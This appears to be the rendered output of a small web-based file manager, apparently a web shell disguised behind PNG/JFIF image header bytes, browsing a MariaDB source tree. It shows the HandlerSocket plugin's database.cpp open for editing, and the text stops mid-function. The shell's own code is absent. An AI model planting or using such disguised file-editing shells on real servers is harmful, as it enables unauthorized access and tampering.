�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2F'>mariadb-11.7.2</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fplugin%2F'>plugin</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fplugin%2Fhandler_socket%2F'>handler_socket</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fplugin%2Fhandler_socket%2Fhandlersocket%2F'>handlersocket</a>/</p><hr><h3>✏️ Editing: database.cpp</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>
// vim:sw=2:ai

/*
 * Copyright (C) 2010 DeNA Co.,Ltd.. All rights reserved.
 * See COPYRIGHT.txt for details.
 */

#include &lt;my_global.h&gt;
#include &lt;string.h&gt;

#include &quot;database.hpp&quot;
#include &quot;string_util.hpp&quot;
#include &quot;escape.hpp&quot;
#include &quot;mysql_incl.hpp&quot;

#define DBG_KEY(x)
#define DBG_SHUT(x)
#define DBG_LOCK(x)
#define DBG_THR(x)
#define DBG_CMP(x)
#define DBG_FLD(x)
#define DBG_FILTER(x)
#define DBG_REFCNT(x)
#define DBG_KEYLEN(x)
#define DBG_DELETED

/* status variables */
unsigned long long int open_tables_count;
unsigned long long int close_tables_count;
unsigned long long int lock_tables_count;
unsigned long long int unlock_tables_count;
unsigned long long int index_exec_count;

namespace dena {

prep_stmt::prep_stmt()
  : dbctx(0), table_id(static_cast&lt;size_t&gt;(-1)),
    idxnum(static_cast&lt;size_t&gt;(-1))
{
}
prep_stmt::prep_stmt(dbcontext_i *c, size_t tbl, size_t idx,
  const fields_type&amp; rf, const fields_type&amp; ff)
  : dbctx(c), table_id(tbl), idxnum(idx), ret_fields(rf), filter_fields(ff)
{
  if (dbctx) {
    dbctx-&gt;table_addref(table_id);
  }
}
prep_stmt::~prep_stmt()
{
  if (dbctx) {
    dbctx-&gt;table_release(table_id);
  }
}

prep_stmt::prep_stmt(const prep_stmt&amp; x)
  : dbctx(x.dbctx), table_id(x.table_id), idxnum(x.idxnum),
  ret_fields(x.ret_fields), filter_fields(x.filter_fields)
{
  if (dbctx) {
    dbctx-&gt;table_addref(table_id);
  }
}

prep_stmt&amp;
prep_stmt::operator =(const prep_stmt&amp; x)
{
  if (this != &amp;x) {
    if (dbctx) {
      dbctx-&gt;table_release(table_id);
    }
    dbctx = x.dbctx;
    table_id = x.table_id;
    idxnum = x.idxnum;
    ret_fields = x.ret_fields;
    filter_fields = x.filter_fields;
    if (dbctx) {
      dbctx-&gt;table_addref(table_id);
    }
  }
  return *this;
}

struct database : public database_i, private noncopyable {
  database(const config&amp; c);
  ~database() override;
  dbcontext_ptr create_context(bool for_write) volatile override;
  void stop() volatile override;
  const config&amp; get_conf() const volatile override;
 public:
  int child_running;
 private:
  config conf;
};

struct tablevec_entry {
  TABLE *table;
  size_t refcount;
  bool modified;
  tablevec_entry() : table(0), refcount(0), modified(false) { }
};

struct expr_user_lock : private noncopyable {
  expr_user_lock(THD *thd, int timeout)
    : lck_key(thd, &quot;handlersocket_wr&quot;, 16, &amp;my_charset_latin1),
      lck_timeout(thd, timeout),
      lck_func_get_lock(thd, &amp;lck_key, &amp;lck_timeout),
      lck_func_release_lock(thd, &amp;lck_key)
  {
    lck_key.fix_fields(thd, 0);
    lck_timeout.fix_fields(thd, 0);
    lck_func_get_lock.fix_fields(thd, 0);
    lck_func_release_lock.fix_fields(thd, 0);
  }
  long long get_lock() {
    return lck_func_get_lock.val_int();
  }
  long long release_lock() {
    return lck_func_release_lock.val_int();
  }
 private:
  Item_string lck_key;
  Item_int lck_timeout;
  Item_func_get_lock lck_func_get_lock;
  Item_func_release_lock lck_func_release_lock;
};

struct dbcontext : public dbcontext_i, private noncopyable {
  dbcontext(volatile database *d, bool for_write);
  ~dbcontext() override;
  void init_thread(const void *stack_botton,
    volatile int&amp; shutdown_flag) override;
  void term_thread() override;
  bool check_alive() override;
  void lock_tables_if() override;
  void unlock_tables_if() override;
  bool get_commit_error() override;
  void clear_error() override;
  void close_tables_if() override;
  void table_addref(size_t tbl_id) override;
  void table_release(size_t tbl_id) override;
  void cmd_open(dbcallback_i&amp; cb, const cmd_open_args&amp; args) override;
  void cmd_exec(dbcallback_i&amp; cb, const cmd_exec_args&amp; args) override;
  void set_statistics(size_t num_conns, size_t num_active) override;
 private:
  int set_thread_message(const char *fmt, ...)
    __attribute__((format (printf, 2, 3)));
  bool parse_fields(TABLE *const table, const char *str,
    prep_stmt::fields_type&amp; flds);
  void cmd_insert_internal(dbcallback_i&amp; cb, const prep_stmt&amp; pst,
    const string_ref *fvals, size_t fvalslen);
  void cmd_sql_internal(dbcallback_i&amp; cb, const prep_stmt&amp; pst,
    const string_ref *fvals, size_t fvalslen);
  void cmd_find_internal(dbcallback_i&amp; cb, const prep_stmt&amp; pst,
    ha_rkey_function find_flag, const cmd_exec_args&amp; args);
  size_t calc_filter_buf_size(TABLE *table, const prep_stmt&amp; pst,
    const record_filter *filters);
  bool fill_filter_buf(TABLE *table, const prep_stmt&amp; pst,
    const record_filter *filters, uchar *filter_buf, size_t len);
  int check_filter(dbcallback_i&amp; cb, TABLE *table, const prep_stmt&amp; pst,
    const record_filter *filters, const uchar *filter_buf);
  void resp_record(dbcallback_i&amp; cb, TABLE *const table, const prep_stmt&amp; pst);
  void dump_record(dbcallback_i&amp; cb, TABLE *const table, const prep_stmt&amp; pst);
  int modify_record(dbcallback_i&amp; cb, TABLE *const table,
    const prep_stmt&amp; pst, const cmd_exec_args&amp; args, char mod_op,
    size_t&amp; modified_count);
 private:
  typedef std::vector&lt;tablevec_entry&gt; table_vec_type;
  typedef std::pair&lt;std::string, std::string&gt; table_name_type;
  typedef std::map&lt;table_name_type, size_t&gt; table_map_type;
 private:
  volatile database *const dbref;
  bool for_write_flag;
  THD *thd;
  MYSQL_LOCK *lock;
  bool lock_failed;
  std::unique_ptr&lt;expr_user_lock&gt; user_lock;
  int user_level_lock_timeout;
  bool user_level_lock_locked;
  bool commit_error;
  std::vector&lt;char&gt; info_message_buf;
  table_vec_type table_vec;
  table_map_type table_map;
};

database::database(const config&amp; c)
  : child_running(1), conf(c)
{
}

database::~database() = default;

dbcontext_ptr
database::create_context(bool for_write) volatile
{
  return dbcontext_ptr(new dbcontext(this, for_write));
}

void
database::stop() volatile
{
  child_running = false;
}

const config&amp;
database::get_conf() const volatile
{
  return const_cast&lt;const config&amp;&gt;(conf);
}

database_ptr
database_i::create(const config&amp; conf)
{
  return database_ptr(new database(conf));
}

dbcontext::dbcontext(volatile database *d, bool for_write)
  : dbref(d), for_write_flag(for_write), thd(0), lock(0), lock_failed(false),
    user_level_lock_timeout(0), user_level_lock_locked(false),
    commit_error(false)
{
  info_message_buf.resize(8192);
  user_level_lock_timeout = d-&gt;get_conf().get_int(&quot;wrlock_timeout&quot;, 12);
}

dbcontext::~dbcontext() = default;

namespace {

int
wait_server_to_start(THD *thd, volatile int&amp; shutdown_flag)
{
  int r = 0;
  DBG_SHUT(fprintf(stderr, &quot;HNDSOCK wsts\n&quot;));
  pthread_mutex_lock(&amp;LOCK_server_started);
  while (!mysqld_server_started) {
    timespec abstime;
    set_timespec(abstime, 1);
    pthread_cond_timedwait(&amp;COND_server_started, &amp;LOCK_server_started,
      &amp;abstime);
    pthread_mutex_unlock(&amp;LOCK_server_started);
    pthread_mutex_lock(&amp;thd-&gt;mysys_var-&gt;mutex);
    killed_state st = thd-&gt;killed;
    pthread_mutex_unlock(&amp;thd-&gt;mysys_var-&gt;mutex);
    DBG_SHUT(fprintf(stderr, &quot;HNDSOCK wsts kst %d\n&quot;, (int)st));
    pthread_mutex_lock(&amp;LOCK_server_started);
    if (st != NOT_KILLED) {
      DBG_SHUT(fprintf(stderr, &quot;HNDSOCK wsts kst %d break\n&quot;, (int)st));
      r = -1;
      break;
    }
    if (shutdown_flag) {
      DBG_SHUT(fprintf(stderr, &quot;HNDSOCK wsts kst shut break\n&quot;));
      r = -1;
      break;
    }
  }
  pthread_mutex_unlock(&amp;LOCK_server_started);
  DBG_SHUT(fprintf(stderr, &quot;HNDSOCK wsts done\n&quot;));
  return r;
}

}; // namespace

#define DENA_THR_OFFSETOF(fld) ((char *)(&amp;thd-&gt;fld) - (char *)thd)

void
dbcontext::init_thread(const void *stack_bottom, volatile int&amp; shutdown_flag)
{
  DBG_THR(fprintf(stderr, &quot;HNDSOCK init thread\n&quot;));
  {
    my_thread_init();
    thd = new THD(0);
    thd-&gt;thread_stack = (char *)stack_bottom;
    DBG_THR(fprintf(stderr,
      &quot;thread_stack = %p sizeof(THD)=%zu sizeof(mtx)=%zu &quot;
      &quot;O: %zu %zu %zu %zu %zu %zu %zu\n&quot;,
      thd-&gt;thread_stack, sizeof(THD), sizeof(mysql_mutex_t),
      DENA_THR_OFFSETOF(mdl_context),
      DENA_THR_OFFSETOF(net),
      DENA_THR_OFFSETOF(LOCK_thd_data),
      DENA_THR_OFFSETOF(mysys_var),
      DENA_THR_OFFSETOF(stmt_arena),
      DENA_THR_OFFSETOF(limit_found_rows),
      DENA_THR_OFFSETOF(locked_tables_list)));
    thd-&gt;store_globals();
    thd-&gt;system_thread = static_cast&lt;enum_thread_type&gt;(1&lt;&lt;30UL);
    memset(&amp;thd-&gt;net, 0, sizeof(thd-&gt;net));
    if (for_write_flag) {
      #if MYSQL_VERSION_ID &gt;= 50505
      thd-&gt;variables.option_bits |= OPTION_BIN_LOG;
      #else
      thd-&gt;options |= OPTION_BIN_LOG;
      #endif
      safeFree((char*) thd-&gt;db.str);
      thd-&gt;db.str= my_strdup(PSI_NOT_INSTRUMENTED, &quot;handlersocket&quot;, MYF(0));
      thd-&gt;db.length= sizeof(&quot;handlersocket&quot;)-1;
    }
    thd-&gt;variables.option_bits |= OPTION_TABLE_LOCK;
    set_current_thd(thd);
    DBG_THR(fprintf(stderr, &quot;HNDSOCK x0 %p\n&quot;, thd));
  }
  {
    thd-&gt;thread_id = next_thread_id();
    server_threads.insert(thd);
  }

  DBG_THR(fprintf(stderr, &quot;HNDSOCK init thread wsts\n&quot;));
  wait_server_to_start(thd, shutdown_flag);
  DBG_THR(fprintf(stderr, &quot;HNDSOCK init thread done\n&quot;));

  thd_proc_info(thd, &amp;info_message_buf[0]);
  set_thread_message(&quot;hs:listening&quot;);
  DBG_THR(fprintf(stderr, &quot;HNDSOCK x1 %p\n&quot;, thd));

  lex_start(thd);

  user_lock.reset(new expr_user_lock(thd, user_level_lock_timeout));
}

int
dbcontext::set_thread_message(const char *fmt, ...)
{
  va_list ap;
  va_start(ap, fmt);
  const int n = vsnprintf(&amp;info_message_buf[0], info_message_buf.size(),
    fmt, ap);
  va_end(ap);
  return n;
}

void
dbcontext::term_thread()
{
  DBG_THR(fprintf(stderr, &quot;HNDSOCK thread end %p\n&quot;, thd));
  close_tables_if();
  set_current_thd(nullptr);
  {
    delete thd;
    thd = 0;
    my_thread_end();
  }
}

bool
dbcontext::check_alive()
{
  pthread_mutex_lock(&amp;thd-&gt;mysys_var-&gt;mutex);
  killed_state st = thd-&gt;killed;
  pthread_mutex_unlock(&amp;thd-&gt;mysys_var-&gt;mutex);
  DBG_SHUT(fprintf(stderr, &quot;chk HNDSOCK kst %p %p %d %zu\n&quot;, thd, &amp;thd-&gt;killed,
    (int)st, sizeof(*thd)));
  if (st != NOT_KILLED) {
    DBG_SHUT(fprintf(stderr, &quot;chk HNDSOCK kst %d break\n&quot;, (int)st));
    return false;
  }
  return true;
}

void
dbcontext::lock_tables_if()
{
  if (lock_failed) {
    return;
  }
  if (for_write_flag &amp;&amp; !user_level_lock_locked) {
    if (user_lock-&gt;get_lock()) {
      user_level_lock_locked = true;
    } else {
      lock_failed = true;
      return;
    }
  }
  if (lock == 0) {
    const size_t num_max = table_vec.size();
    TABLE **const tables = DENA_ALLOCA_ALLOCATE(TABLE *, num_max + 1);
    size_t num_open = 0;
    for (size_t i = 0; i &lt; num_max; ++i) {
      if (table_vec[i].refcount &gt; 0) {
	tables[num_open++] = table_vec[i].table;
      }
      table_vec[i].modified = false;
    }
    #if MYSQL_VERSION_ID &gt;= 50505
    lock = thd-&gt;lock = mysql_lock_tables(thd, &amp;tables[0], num_open, 0);
    #else
    bool need_reopen= false;
    lock = thd-&gt;lock = mysql_lock_tables(thd, &amp;tables[0], num_open,
      MYSQL_LOCK_NOTIFY_IF_NEED_REOPEN, &amp;need_reopen);
    #endif
    statistic_increment(lock_tables_count, &amp;LOCK_status);
    thd_proc_info(thd, &amp;info_message_buf[0]);
    DENA_VERBOSE(100, fprintf(stderr, &quot;HNDSOCK lock tables %p %p %zu %zu\n&quot;,
      thd, lock, num_max, num_open));
    if (lock == 0) {
      lock_failed = true;
      DENA_VERBOSE(10, fprintf(stderr, &quot;HNDSOCK failed to lock tables %p\n&quot;,
	thd));
    }
    if (for_write_flag) {
      #if MYSQL_VERSION_ID &gt;= 50505
      thd-&gt;set_current_stmt_binlog_format_row();
      #else
      thd-&gt;current_stmt_binlog_row_based = 1;
      #endif
    }
    DENA_ALLOCA_FREE(tables);
  }
  DBG_LOCK(fprintf(stderr, &quot;HNDSOCK tblnum=%d\n&quot;, (int)tblnum));
}

void
dbcontext::unlock_tables_if()
{
  if (lock != 0) {
    DENA_VERBOSE(100, fprintf(stderr, &quot;HNDSOCK unlock tables %p %p\n&quot;,
      thd, thd-&gt;lock));
    if (for_write_flag) {
      for (size_t i = 0; i &lt; table_vec.size(); ++i) {
	if (table_vec[i].modified) {
	  query_cache_invalidate3(thd, table_vec[i].table, 1);
	  table_vec[i].table-&gt;file-&gt;ha_release_auto_increment();
	}
      }
    }
    {
      bool suc = true;
      #if MYSQL_VERSION_ID &gt;= 50505
      suc = (trans_commit_stmt(thd) == 0);
      #else
      suc = (ha_autocommit_or_rollback(thd, 0) == 0);
      #endif
      if (!suc) {
	commit_error = true;
	DENA_VERBOSE(10, fprintf(stderr,
	  &quot;HNDSOCK unlock tables: commit failed\n&quot;));
      }
    }
    mysql_unlock_tables(thd, lock);
    lock = thd-&gt;lock = 0;
    statistic_increment(unlock_tables_count, &amp;LOCK_status);
  }
  if (user_level_lock_locked) {
    if (user_lock-&gt;release_lock()) {
      user_level_lock_locked = false;
    }
  }
}

bool
dbcontext::get_commit_error()
{
  return commit_error;
}

void
dbcontext::clear_error()
{
  lock_failed = false;
  commit_error = false;
}

void
dbcontext::close_tables_if()
{
  unlock_tables_if();
  DENA_VERBOSE(100, fprintf(stderr, &quot;HNDSOCK close tables\n&quot;));
  close_thread_tables(thd);
  thd-&gt;mdl_context.release_transactional_locks(thd);
  if (!table_vec.empty()) {
    statistic_increment(close_tables_count, &amp;LOCK_status);
    table_vec.clear();
    table_map.clear();
  }
}

void
dbcontext::table_addref(size_t tbl_id)
{
  table_vec[tbl_id].refcount += 1;
  DBG_REFCNT(fprintf(stderr, &quot;%p %zu %zu addref\n&quot;, this, tbl_id,
    table_vec[tbl_id].refcount));
}

void
dbcontext::table_release(size_t tbl_id)
{
  table_vec[tbl_id].refcount -= 1;
  DBG_REFCNT(fprintf(stderr, &quot;%p %zu %zu release\n&quot;, this, tbl_id,
    table_vec[tbl_id].refcount));
}

void
dbcontext::resp_record(dbcallback_i&amp; cb, TABLE *const table,
  const prep_stmt&amp; pst)
{
  char rwpstr_buf[64];
  String rwpstr(rwpstr_buf, sizeof(rwpstr_buf), &amp;my_charset_bin);
  const prep_stmt::fields_type&amp; rf = pst.get_ret_fields();
  const size_t n = rf.size();
  for (size_t i = 0; i &lt; n; ++i) {
    uint32_t fn = rf[i];
    Field *const fld = table-&gt;field[fn];
    DBG_FLD(fprintf(stderr, &quot;fld=%p %zu\n&quot;, fld, fn));
    if (fld-&gt;is_null()) {
      /* null */
      cb.dbcb_resp_entry(0, 0);
    } else {
      fld-&gt;val_str(&amp;rwpstr, &amp;rwpstr);
      const size_t len = rwpstr.length();
      if (len != 0) {
	/* non-empty */
	cb.dbcb_resp_entry(rwpstr.ptr(), rwpstr.length());
      } else {
	/* empty */
	static const char empty_str[] = &quot;&quot;;
	cb.dbcb_resp_entry(empty_str, 0);
      }
    }
  }
}

void
dbcontext::dump_record(dbcallback_i&amp; cb, TABLE *const table,
  const prep_stmt&amp; pst)
{
  char rwpstr_buf[64];
  String rwpstr(rwpstr_buf, sizeof(rwpstr_buf), &amp;my_charset_bin);
  const prep_stmt::fields_type&amp; rf = pst.get_ret_fields();
  const size_t n = rf.size();
  for (size_t i = 0; i &lt; n; ++i) {
    uint32_t fn = rf[i];
    Field *const fld = table-&gt;field[fn];
    if (fld-&gt;is_null()) {
      /* null */
      fprintf(stderr, &quot;NULL&quot;);
    } else {
      fld-&gt;val_str(&amp;rwpstr, &amp;rwpstr);
      const std::string s(rwpstr.ptr(), rwpstr.length());
      fprintf(stderr, &quot;[%s]&quot;, s.c_str());
    }
  }
  fprintf(stderr, &quot;\n&quot;);
}

int
dbcontext::modify_record(dbcallback_i&amp; cb, TABLE *const table,
  const prep_stmt&amp; pst, const cmd_exec_args&amp; args, char mod_op,
  size_t&amp; modified_count)
{
  if (mod_op == &#039;U&#039;) {
    /* update */
    handler *const hnd = table-&gt;file;
    uchar *const buf = table-&gt;record[0];
    store_record(table, record[1]);
    const prep_stmt::fields_type&amp; rf = pst.get_ret_fields();
    const size_t n = rf.size();
    for (size_t i = 0; i &lt; n; ++i) {
      const string_ref&amp; nv = args.uvals[i];
      uint32_t fn = rf[i];
      Field *const fld = table-&gt;field[fn];
      if (nv.begin() == 0) {
	fld-&gt;set_null();
      } else {
	fld-&gt;set_notnull();
	fld-&gt;store(nv.begin(), nv.size(), &amp;my_charset_bin);
      }
    }
    table_vec[pst.get_table_id()].modified = true;
    const int r = hnd-&gt;ha_update_row(table-&gt;record[1], buf);
    if (r != 0 &amp;&amp; r != HA_ERR_RECORD_IS_THE_SAME) {
      return r;
    }
    ++modified_count; /* TODO: HA_ERR_RECORD_IS_THE_SAME? */
  } else if (mod_op == &#039;D&#039;) {
    /* delete */
    handler *const hnd = table-&gt;file;
    table_vec[pst.get_table_id()].modified = true;
    const int r = hnd-&gt;ha_delete_row(table-&gt;record[0]);
    if (r != 0) {
      return r;
    }
    ++modified_count;
  } else if (mod_op == &#039;+&#039; || mod_op == &#039;-&#039;) {
    /* increment/decrement */
    handler *const hnd = table-&gt;file;
    uchar *const buf = table-&gt;record[0];
    store_record(table, record[1]);
    const prep_stmt::fields_type&amp; rf = pst.get_ret_fields();
    const size_t n = rf.size();
    size_t i = 0;
    for (i = 0; i &lt; n; ++i) {
      const string_ref&amp; nv = args.uvals[i];
      uint32_t fn = rf[i];
      Field *const fld = table-&gt;field[fn];
      if (fld-&gt;is_null() || nv.begin() == 0) {
	continue;
      }
      const long long pval = fld-&gt;val_int();
      const long long llv = atoll_nocheck(nv.begin(), nv.end());
      /* TODO: llv == 0? */
      long long nval = 0;
      if (mod_op == &#039;+&#039;) {
	/* increment */
	nval = pval + llv;
      } else {
	/* decrement */
	nval = pval - llv;
	if ((pval &lt; 0 &amp;&amp; nval &gt; 0) || (pval &gt; 0 &amp;&amp; nval &lt; 0)) {
	  break; /* don&#039;t modify */
	}
      }
      fld-&gt;store(nval, false);
    }
    if (i == n) {
      /* modify */
      table_vec[pst.get_table_id()].modified = true;
      const int r = hnd-&gt;ha_update_row(table-&gt;record[1], buf);
      if (r != 0 &amp;&amp; r != HA_ERR_RECORD_IS_THE_SAME) {
	return r;
      }
      ++modified_count;
    }
  }
  return 0;
}

void
dbcontext::cmd_insert_internal(dbcallback_i&amp; cb, const prep_stmt&amp; pst,
  const string_ref *fvals, size_t fvalslen)
{
  if (!for_write_flag) {
    return cb.dbcb_resp_short(2, &quot;readonly&quot;);
  }
  lock_tables_if();
  if (lock == 0) {
    return cb.dbcb_resp_short(1, &quot;lock_tables&quot;);
  }
  if (pst.get_table_id() &gt;= table_vec.size()) {
    return cb.dbcb_resp_short(2, &quot;tblnum&quot;);
  }
  TABLE *const table = table_vec[pst.get_table_id()].table;
  handler *const hnd = table-&gt;file;
  uchar *const buf = table-&gt;record[0];
  empty_record(table);
  memset(buf, 0, table-&gt;s-&gt;null_bytes); /* clear null flags */
  const prep_stmt::fields_type&amp; rf = pst.get_ret_fields();
  const size_t n = std::min(rf.size(), fvalslen);
  for (size_t i = 0; i &lt; n; ++i) {
    uint32_t fn = rf[i];
    Field *const fld = table-&gt;field[fn];
    if (fvals[i].begin() == 0) {
      fld-&gt;set_null();
    } else {
      fld-&gt;store(fvals[i].begin(), fvals[i].size(), &amp;my_charset_bin);
    }
  }
  table-&gt;next_number_field = table-&gt;found_next_number_field;
    /* FIXME: test */
  const int r = hnd-&gt;ha_write_row(buf);
  const ulonglong insert_id = table-&gt;file-&gt;insert_id_for_cur_row;
  table-&gt;next_number_field = 0;
  table_vec[pst.get_table_id()].modified = true;
  if (r == 0 &amp;&amp; table-&gt;found_next_number_field != 0) {
    return cb.dbcb_resp_short_num64(0, insert_id);
  }
  if (r != 0) {
    return cb.dbcb_resp_short_num(1, r);
  }
  return cb.dbcb_resp_short(0, &quot;&quot;);
}

void
dbcontext::cmd_sql_internal(dbcallback_i&amp; cb, const prep_stmt&amp; pst,
  const string_ref *fvals, size_t fvalslen)
{
  if (fvalslen &lt; 1) {
    return cb.dbcb_resp_short(2, &quot;syntax&quot;);
  }
  return cb.dbcb_resp_short(2, &quot;notimpl&quot;);
}

static size_t
prepare_keybuf(const cmd_exec_args&amp; args, uchar *key_buf, TABLE *table,
  KEY&amp; kinfo, size_t invalues_index)
{
  size_t kplen_sum = 0;
  DBG_KEY(fprintf(stderr, &quot;SLOW\n&quot;));
  for (size_t i = 0; i &lt; args.kvalslen; ++i) {
    const KEY_PART_INFO &amp; kpt = kinfo.key_part[i];
    string_ref kval = args.kvals[i];
    if (args.invalues_keypart &gt;= 0 &amp;&amp;
      static_cast&lt;size_t&gt;(args.invalues_keypart) == i) {
      kval = args.invalues[invalues_index];
    }
    if (kval.begin() == 0) {
      kpt.field-&gt;set_null();
    } else {
      kpt.field-&gt;set_notnull();
    }
    kpt.field-&gt;store(kval.begin(), kval.size(), &amp;my_charset_bin);
    kplen_sum += kpt.store_length;
    DBG_KEYLEN(fprintf(stderr, &quot;l=%u sl=%zu\n&quot;, kpt.length,
      kpt.store_length));
  }
  key_copy(key_buf, table-&gt;record[0], &amp;kinfo, kplen_sum);
  DBG_KEYLEN(fprintf(stderr, &quot;sum=%zu flen=%u\n&quot;, kplen_sum,
    kinfo.key_length));
  return kplen_sum;
}

void
dbcontext::cmd_find_internal(dbcallback_i&amp; cb, const prep_stmt&amp; pst,
  ha_rkey_function find_flag, const cmd_exec_args&amp; args)
{
  const bool debug_out = (verbose_level &gt;= 100);
  bool need_resp_record = true;
  char mod_op = 0;
  const string_ref&amp; mod_op_str = args.mod_op;
  if (mod_op_str.size() != 0) {
    if (!for_write_flag) {
      return cb.dbcb_resp_short(2, &quot;readonly&quot;);
    }
    mod_op = mod_op_str.begin()[0];
    need_resp_record = mod_op_str.size() &gt; 1 &amp;&amp; mod_op_str.begin()[1] == &#039;?&#039;;
    switch (mod_op) {
    case &#039;U&#039;: /* update */
    case &#039;D&#039;: /* delete */
    case &#039;+&#039;: /* increment */
    case &#039;-&#039;: /* decrement */
      break;
    default:
      if (debug_out) {
	fprintf(stderr, &quot;unknown modop: %c\n&quot;, mod_op);
      }
      return cb.dbcb_resp_short(2, &quot;modop&quot;);
    }
  }
  lock_tables_if();
  if (lock == 0) {
    return cb.dbcb_resp_short(1, &quot;lock_tables&quot;);
  }
  if (pst.get_table_id() &gt;= table_vec.size()) {
    return cb.dbcb_resp_short(2, &quot;tblnum&quot;);
  }
  TABLE *const table = table_vec[pst.get_table_id()].table;
  /* keys */
  if (pst.get_idxnum() &gt;= table-&gt;s-&gt;keys) {
    return cb.dbcb_resp_short(2, &quot;idxnum&quot;);
  }
  KEY&amp; kinfo = table-&gt;key_info[pst.get_idxnum()];
  if (args.kvalslen &gt; kinfo.user_defined_key_parts) {
    return cb.dbcb_resp_short(2, &quot;kpnum&quot;);
  }
  uchar *const key_buf = DENA_ALLOCA_ALLOCATE(uchar, kinfo.key_length);
  size_t invalues_idx = 0;
  size_t kplen_sum = prepare_keybuf(args, key_buf, table, kinfo, invalues_idx);
  /* filters */
  uchar *filter_buf = 0;
  if (args.filters != 0) {
    const size_t filter_buf_len = calc_filter_buf_size(table, pst,
      args.filters);
    filter_buf = DENA_ALLOCA_ALLOCATE(uchar, filter_buf_len);
    if (!fill_filter_buf(table, pst, args.filters, filter_buf,
      filter_buf_len)) {
      return cb.dbcb_resp_short(2, &quot;filterblob&quot;);
    }
  }
  /* handler */
  table-&gt;read_set = &amp;table-&gt;s-&gt;all_set;
  handler *const hnd = table-&gt;file;
  if (!for_write_flag) {
    hnd-&gt;init_table_handle_for_HANDLER();
  }
  hnd-&gt;ha_index_or_rnd_end();
  hnd-&gt;ha_index_init(pst.get_idxnum(), 1);
  if (need_resp_record) {
    cb.dbcb_resp_begin(pst.get_ret_fields().size());
  }
  const uint32_t limit = args.limit ? args.limit : 1;
  uint32_t skip = args.skip;
  size_t modified_count = 0;
  int r = 0;
  bool is_first = true;
  for (uint32_t cnt = 0; cnt &lt; limit + skip;) {
    if (is_first) {
      is_first = false;
      const key_part_map kpm = (1U &lt;&lt; args.kvalslen) - 1;
      r = hnd-&gt;ha_index_read_map(table-&gt;record[0], key_buf, kpm, find_flag);
    } else if (args.invalues_keypart &gt;= 0) {
      if (++invalues_idx &gt;= args.invalueslen) {
	break;
      }
      kplen_sum = prepare_keybuf(args, key_buf, table, kinfo, invalues_idx);
      const key_part_map kpm = (1U &lt;&lt; args.kvalslen) - 1;
      r = hnd-&gt;ha_index_read_map(table-&gt;record[0], key_buf, kpm, find_flag);
    } else {
      switch (find_flag) {
      case HA_READ_BEFORE_KEY:
      case HA_READ_KEY_OR_PREV:
	r = hnd-&gt;ha_index_prev(table-&gt;record[0]);
	break;
      case HA_READ_AFTER_KEY:
      case HA_READ_KEY_OR_NEXT:
	r = hnd-&gt;ha_index_next(table-&gt;record[0]);
	break;
      case HA_READ_KEY_EXACT:
	r = hnd-&gt;ha_index_next_same(table-&gt;record[0], key_buf, kplen_sum);
	break;
      default:
	r = HA_ERR_END_OF_FILE; /* to finish the loop */
	break;
      }
    }
    if (debug_out) {
      fprintf(stderr, &quot;r=%d\n&quot;, r);
      if (r == 0 || r == HA_ERR_RECORD_DELETED) { 
	dump_record(cb, table, pst);
      }
    }
    int filter_res = 0;
    if (r != 0) {
      /* no-count */
    } else if (args.filters != 0 &amp;&amp; (filter_res = check_filter(cb, table, 
      pst, args.filters, filter_buf)) != 0) {
      if (filter_res &lt; 0) {
	break;
      }
    } else if (skip &gt; 0) {
      --skip;
    } else {
      /* hit */
      if (need_resp_record) {
	resp_record(cb, table, pst);
      }
      if (mod_op != 0) {
	r = modify_record(cb, table, pst, args, mod_op, modified_count);
      }
      ++cnt;
    }
    if (args.invalues_keypart &gt;= 0 &amp;&amp; r == HA_ERR_KEY_NOT_FOUND) {
      continue;
    }
    if (r != 0 &amp;&amp; r != HA_ERR_RECORD_DELETED) {
      break;
    }
  }
  hnd-&gt;ha_index_or_rnd_end();
  if (r != 0 &amp;&amp; r != HA_ERR_RECORD_DELETED &amp;&amp; r != HA_ERR_KEY_NOT_FOUND &amp;&amp;
    r != HA_ERR_END_OF_FILE) {
    /* failed */
    if (need_resp_record) {
      /* revert dbcb_resp_begin() and dbcb_resp_entry() */
      cb.dbcb_resp_cancel();
    }
    cb.dbcb_resp_short_num(1, r);
  } else {
    /* succeeded */
    if (need_resp_record) {
      cb.dbcb_resp_end();
    } else {
      cb.dbcb_resp_short_num(0, modified_count);
    }
  }
  DENA_ALLOCA_FREE(filter_buf);
  DENA_ALLOCA_FREE(key_buf);
}

size_t
dbcontext::calc_filter_buf_size(TABLE *table, const prep_stmt&amp; pst,
  const record_filter *filters)
{
  size_t filter_buf_len = 0;
  for (const record_filter *f = filters; f-&gt;op.begin() != 0; ++f) {
    if (f-&gt;val.begin() == 0) {
      continue;
    }
    const uint32_t fn = pst.get_filter_fields()[f-&gt;ff_offset];
    filter_buf_len += table-&gt;field[fn]-&gt;pack_length();
  }
  ++filter_buf_len;
    /* Field_medium::cmp() calls uint3korr(), which may read 4 bytes.
       Allocate 1 more byte for safety. */
  return filter_buf_len;
}

bool
dbcontext::fill_filter_buf(TABLE *table, const prep_stmt&amp; pst,
  const record_filter *filters, uchar *filter_buf, size_t len)
{
  memset(filter_buf, 0, len);
  size_t pos = 0;
  for (const record_filter *f = filters; f-&gt;op.begin() != 0; ++f) {
    if (f-&gt;val.begin() == 0) {
      continue;
    }
    const uint32_t fn = pst.get_filter_fields()[f-&gt;ff_offset];
    Field *const fld = table-&gt;field[fn];
    if ((fld-&gt;flags &amp; BLOB_FLAG) != 0) {
      return false;
    }
    fld-&gt;store(f-&gt;val.begin(), f-&gt;val.size(), &amp;my_charset_bin);
    const size_t packlen = fld-&gt;pack_length();
    memcpy(filter_buf + pos, fld-&gt;ptr, packlen);
    pos += packlen;
  }
  return true;
}

int
dbcontext::check_filter(dbcallback_i&amp; cb, TABLE *table, const prep_stmt&amp; pst,
